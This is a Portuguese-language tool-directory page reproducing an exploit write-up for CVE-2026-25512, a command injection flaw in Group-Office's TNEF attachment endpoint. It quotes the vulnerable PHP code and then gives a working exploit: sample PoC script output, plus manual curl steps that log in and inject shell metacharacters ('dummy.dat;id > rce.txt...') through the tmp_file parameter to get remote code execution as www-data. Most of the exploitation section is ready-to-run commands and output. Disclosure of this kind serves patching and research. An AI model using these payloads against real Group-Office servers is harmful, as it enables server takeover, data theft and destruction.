Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25512 — RCE - Injeção de Comandos via Manipulador de Anexo TNEF | Kitploit
Ferramentas/GitHubGitHub/numberoreo1/cve-2026-25512
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - Injeção de Comandos via Manipulador de Anexo TNEF

Ver Repositório
4há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25512: Execução Remota de Código via Injeção de Comandos no Manipulador TNEF - Group-Office

CVE-2026-25512 Critical CVSS 9.4

CWE-78

Vetor CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Índice

  • Resumo
  • Versões Afetadas
  • Detalhes Técnicos
    • Causa Raiz
    • Fluxo da Fonte ao Sumidouro
  • Exploração
    • Exploit Automatizado
    • Exploit Manual
  • Impacto
  • Cronograma
  • Créditos
  • Referências

Resumo

Uma vulnerabilidade Crítica de Execução Remota de Código (RCE) foi identificada no Group-Office. O endpoint email/message/tnefAttachmentFromTempFile concatena diretamente o parâmetro tmp_file controlado pelo usuário em uma chamada exec(). Ao injetar metacaracteres de shell em tmp_file, um atacante autenticado pode executar comandos arbitrários no servidor.


Versões Afetadas

ProdutoVersões Afetadas
Group-Office≤ 26.0.4

Detalhes Técnicos

Causa Raiz

O parâmetro tmp_file é obtido da requisição HTTP e utilizado para construir um comando de shell sem escape ou validação. Isso resulta em injeção de comando no comando de extração do tnef, que é executado com os privilégios do servidor web.

Código Vulnerável (www/modules/email/controller/MessageController.php):

protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

Fluxo da Fonte ao Sumidouro

EstágioDescrição
FonteParâmetro de consulta tmp_file em index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...
Propagaçãonew \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
Sumidouroexec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

Como tmp_file é concatenado ao comando de shell, metacaracteres como ;, &, crases ou $() permitem que um atacante anexe comandos arbitrários.

Exigência de Autenticação: Sim. O MessageController exige uma verificação CSRF com security_token, portanto são necessários uma sessão válida e um token.


Exploração

Exploit Automatizado

O script de PoC faz login, obtém o security_token, injeta um payload através de tmp_file e verifica a execução lendo rce.txt da resposta ZIP.

python3 poc.py

Exemplo de Saída:

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Exploit Manual

Passo 1: Login

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

Resposta:

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

Passo 2: Acionar RCE

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

Resultado:

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impacto

CategoriaSeveridadeDescrição
ConfidencialidadeAltaA execução arbitrária de comandos permite ler arquivos confidenciais.
IntegridadeAltaO atacante pode modificar ou excluir arquivos do servidor.
DisponibilidadeAltaO atacante pode interromper serviços ou excluir dados críticos.

Cronograma


Créditos

  • Descoberto por: Oreo

Referências

  • Site oficial do Group-Office
  • MITRE CVE-2026-25512
Baixar ferramenta